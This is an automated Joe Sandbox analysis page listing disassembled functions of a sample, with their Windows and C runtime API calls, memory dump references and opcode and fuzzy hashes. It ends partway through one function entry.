Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 615a019661923f18b870c88d8c8c2e3de58a1ea0c3f5553ccf0a12bc46e2c946
Instruction ID: fa952da07fa728660ea577237313fb5e406be7a17db04e04062408894f2be5a1
Opcode Fuzzy Hash: 615a019661923f18b870c88d8c8c2e3de58a1ea0c3f5553ccf0a12bc46e2c946
Instruction Fuzzy Hash: BF41B562D1878183F7A49B22D5103BA6760FF99768F109374F66C47AD6DFACA8E09700

Function 00007FF6929FA908 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6929FA904), ref: 00007FF6929FA919
TerminateProcess.KERNEL32(?,?,?,00007FF6929FA904), ref: 00007FF6929FA924
ExitProcess.KERNEL32 ref: 00007FF6929FA933

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ad533715cf3b8ba661eb0a16145d01eebe53b03fcab9f2b2c8fa490b2e23822a
Instruction ID: 259c689c367f02491c9dfb27135370d891717911705dc131e6fc4daa042ff286
Opcode Fuzzy Hash: ad533715cf3b8ba661eb0a16145d01eebe53b03fcab9f2b2c8fa490b2e23822a
Instruction Fuzzy Hash: 21D09E12F58B0642FB783B7198951BA1355DF4D759F0114B8EC4F86393DDADAC8D5200

Function 00007FF6929EF634 Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929EF678
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929EF76F

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eff41cba983b05e0f9e09f52185aba8178b112ae95ee52c2a1f9a5fdd57fcc68
Instruction ID: 150184c167a845229639515afeac0dd17d51a7577bd72afa88ef43d4fa42a282
Opcode Fuzzy Hash: eff41cba983b05e0f9e09f52185aba8178b112ae95ee52c2a1f9a5fdd57fcc68
Instruction Fuzzy Hash: D751F572A0924686FB789E2794006BA6391FF46BACF148776DD7D877D7CEBCD4008600

Function 00007FF6929EC19C Relevance: 3.1, APIs: 2, Instructions: 102COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6929EC37C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6929EC390

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6929EC1C5
__scrt_release_startup_lock.LIBCMT ref: 00007FF6929EC233

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 1236291503-0
Opcode ID: 0062f537d7c131bdaaf4aef5eb59421e6e9ee6bfc8727e8bca4d357a962c4ab6
Instruction ID: 57fab7b2312abf0405dc1f91f886eb6bfb6de0580da991d0af6a353820773cca
Opcode Fuzzy Hash: 0062f537d7c131bdaaf4aef5eb59421e6e9ee6bfc8727e8bca4d357a962c4ab6
Instruction Fuzzy Hash: AD314C32E0C64382FA74ABA6A4123BA1391FF45B8CF4450B5E98DD73D7DEADF8458250

Function 00007FF6929FD2B8 Relevance: 3.1, APIs: 2, Instructions: 71COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6929FD331
GetFileType.KERNELBASE ref: 00007FF6929FD347

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 336ff322d096320c7609ad2a1ebfb1af701ecd8db59b0b6a36a9cc413741d25d
Instruction ID: a6126f360ef829e43301cfe0e26f155d906bf4b64556df487de2928814ed3303
Opcode Fuzzy Hash: 336ff322d096320c7609ad2a1ebfb1af701ecd8db59b0b6a36a9cc413741d25d
Instruction Fuzzy Hash: D4310722A18B5685F7B09B1685400BD6750FB05BBCF640379EB6E873E1CFB8E851E311

Function 00007FF6929FCFD4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF6929FCFC0,?,?,?,?,?,00007FF6929FD0C9), ref: 00007FF6929FD020
GetLastError.KERNEL32(?,?,?,?,?,00007FF6929FCFC0,?,?,?,?,?,00007FF6929FD0C9), ref: 00007FF6929FD02A

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: c8d9032d6f18d1acbd55ff3d5784a6e8b9f1708e95d0104a6ada3112851001ef
Instruction ID: 7ac8b4bf5861ac501785db47aa001f03d5a121e619fabc72b4c36d3bf68f5241
Opcode Fuzzy Hash: c8d9032d6f18d1acbd55ff3d5784a6e8b9f1708e95d0104a6ada3112851001ef
Instruction Fuzzy Hash: FB110462608B4281EA609B26A4440AE6361EB41BF8F580371EE7D8BBDACFBCD4419740

Function 00007FF6929F6880 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6929F6795), ref: 00007FF6929F68B3
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6929F6795), ref: 00007FF6929F68C9

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 3a94ee504119d0a5112130d15b8324ff604b1d1e2425208ec9014ecb5db7cc3c
Instruction ID: 5f9f69be3caf032fa4f5519b666508c3cbaf8700710a6327a31050b15a489194
Opcode Fuzzy Hash: 3a94ee504119d0a5112130d15b8324ff604b1d1e2425208ec9014ecb5db7cc3c
Instruction Fuzzy Hash: 04116D3260C74281FBA48B12A41117BA7A0FB85765F50127AFAAEC19D5EFACD444DB00

Function 00007FF6929FB404 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB41A
GetLastError.KERNEL32(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB424

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 0e9bd81d70d272d571b15e7d509907a6bc8aa23799849ce19584cafaa201c9c5
Instruction ID: bf03d7b9f143cd9f3058d135b2bc13927418f1e5640ca106d65b3dc84b082975
Opcode Fuzzy Hash: 0e9bd81d70d272d571b15e7d509907a6bc8aa23799849ce19584cafaa201c9c5
Instruction Fuzzy Hash: D7E08652F0950243FF786FF398580B92750DF59708B4880B0E90ECB293DEAC6C455310

Function 00007FF6929FBA00 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF6929FB87D,?,?,00000000,00007FF6929FB932), ref: 00007FF6929FBA6E
GetLastError.KERNEL32(?,?,?,00007FF6929FB87D,?,?,00000000,00007FF6929FB932), ref: 00007FF6929FBA78

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 77e2bcd66fe63b7e32e9c420d5456187ea64b38b498190725808e49f9c0985ab
Instruction ID: 3cba56ce8dc384e58a33eba87c7e0a8566c0242cd08c7e329aad6223f53a56d1
Opcode Fuzzy Hash: 77e2bcd66fe63b7e32e9c420d5456187ea64b38b498190725808e49f9c0985ab
Instruction Fuzzy Hash: 38218051B1874241FAF45B26A5A42FE17C2DF497ACF4442B5EA2F8B3D7CEACE8456300

Function 00007FF6929FCD4C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929FCD74

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2072840c731903ab9ed2d0e336d6e3b3477313bb5cf3c8f9750581c4cd4e8c29
Instruction ID: 0f11e37d1fa54408865fcf7fd8e0ba345cce4fdc6856dfa8970b7de0038672f7
Opcode Fuzzy Hash: 2072840c731903ab9ed2d0e336d6e3b3477313bb5cf3c8f9750581c4cd4e8c29
Instruction Fuzzy Hash: 9241B43391960187FAB4CB16A5402BE77A0EF56B88F104171E69EC6692DFACEC02D750

Function 00007FF6929E73E0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6929E748A

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 9ba4dd0211f6df8f5aa522c4415d08fe3f4c330c6f237a96912f5c73eb41e443
Instruction ID: 34e94d2545ec936f8a1fddb321d8676f9083883eaadf4958f7fa5c12697c40e3
Opcode Fuzzy Hash: 9ba4dd0211f6df8f5aa522c4415d08fe3f4c330c6f237a96912f5c73eb41e443
Instruction Fuzzy Hash: EB217131F0869246FA749A1765083FA9B42FF45BD8F8854B1EE0D8B787EEBCE445C201

Function 00007FF6929FC7DC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929FC862

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ec9d5ae5a000e04b57470e1a65c1a2ebd8d322b6e5cd5ccd1e774105d6e8e50b
Instruction ID: 810909475bce8bd7fa1c1ba956887fc76afb953fa72fe69a8f9048e6f0053bb7
Opcode Fuzzy Hash: ec9d5ae5a000e04b57470e1a65c1a2ebd8d322b6e5cd5ccd1e774105d6e8e50b
Instruction Fuzzy Hash: E3318B22E1864286F7A1AB5798452FE2750EF40BA8F5281B5F91D873D3CEFCAC41A710

Function 00007FF6929FA839 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6929FA867

Part of subcall function 00007FF6929FA960: GetModuleHandleExW.KERNEL32 ref: 00007FF6929FA985
Part of subcall function 00007FF6929FA960: GetProcAddress.KERNEL32 ref: 00007FF6929FA99B
Part of subcall function 00007FF6929FA960: FreeLibrary.KERNEL32 ref: 00007FF6929FA9C2

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: da7d5aaa001a85c1e13054e7b60926c5ebf14781b4d980b1a631c30dc526fcea
Instruction ID: 7f94e6ac5b7ab66b2a3ce871abefc7877a844b20b64057a85ab9769fb4a8b301
Opcode Fuzzy Hash: da7d5aaa001a85c1e13054e7b60926c5ebf14781b4d980b1a631c30dc526fcea
Instruction Fuzzy Hash: 30219C32E1470699FBA49F65C4802ED33A0FB4472CF044635E72D86AC6EFB8D985D790

Function 00007FF6929F6EF4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F6E59

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0e1df9a836e05c53306103cf914f9f5afd0b17d2d4247778ac0f8a736a470cc7
Instruction ID: 6c475d8ba883c106522fd69da5cfe8fe730faf14c3b8931a054abf5d58c85755
Opcode Fuzzy Hash: 0e1df9a836e05c53306103cf914f9f5afd0b17d2d4247778ac0f8a736a470cc7
Instruction Fuzzy Hash: F7112C22A1864182FAB09F52D8101FFA760EF85B88F544075FA9D97A97DFBDDC20A740

Function 00007FF692A07564 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A07587

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3767eff042e46cd651120d9163f396646e5b690a05a83219cc7a0fcdceb2a680
Instruction ID: a5ac62d7ee281500e464c4f2d49375eb19ed777d0a03aa5fda01737a40ed16b4
Opcode Fuzzy Hash: 3767eff042e46cd651120d9163f396646e5b690a05a83219cc7a0fcdceb2a680
Instruction Fuzzy Hash: 6B216573A08A8287EB718F19E8503B976A0EB85B58F144274E65E876D9DF7CD801CB00

Function 00007FF6929EF8B4 Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929EF908

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 43297e0cb54a728217cf8f13d9f8c23c45e2da10c33361e46a2ef0799771412d
Instruction ID: 8e393fffb6a810f60b124cd3d86e8926f6638dcce18fa97985d44da79904b95b
Opcode Fuzzy Hash: 43297e0cb54a728217cf8f13d9f8c23c45e2da10c33361e46a2ef0799771412d
Instruction Fuzzy Hash: BD018662A0874541FA649B5399000B99794FF56FE8F484672EE6C97BD7CEBCD4018700

Function 00007FF6929F8DD8 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F8E16

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9a713ab2503aafe04daa5f14995e032ba301d87e983ca10af8f2e6f3b05e04b1
Instruction ID: 2b6ef1cb618e80eccee838c5c8bdb7a549c1cbe01140c4fe6b31368eba983da7
Opcode Fuzzy Hash: 9a713ab2503aafe04daa5f14995e032ba301d87e983ca10af8f2e6f3b05e04b1
Instruction Fuzzy Hash: 3C016D21E1D64240FEF06B2767402BA5390FF04B9CF044AB4F91DC66DBEFACAC416280

Function 00007FF6929EC37C Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6929EC390

Part of subcall function 00007FF6929ECDB8: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF6929ECDC0
Part of subcall function 00007FF6929ECDB8: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF6929ECDC5

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: 86517d9d3c6548b93fa1a500576de9512fe9d6a130677b1fbe86fe464c74cea3
Instruction ID: a36bea67f190fb4b9c3696a9246c196ae1f37335feaf4df7b5e10091e9b3c84b
Opcode Fuzzy Hash: 86517d9d3c6548b93fa1a500576de9512fe9d6a130677b1fbe86fe464c74cea3
Instruction Fuzzy Hash: 1AE0BD74D0D20381FFB8266329522FD1784BF2930DF4025F9E88ED21C79ECE389A2529

Function 00007FF6929F9114 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F912D

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ca4321753697ca9e26add91f4c87d6fa1af88743aafd66e8485bee4c71de2195
Instruction ID: 8bc2f1546ffd5eb3f16248e3769912fec8230fb4158e75451e807beab73333ee
Opcode Fuzzy Hash: ca4321753697ca9e26add91f4c87d6fa1af88743aafd66e8485bee4c71de2195
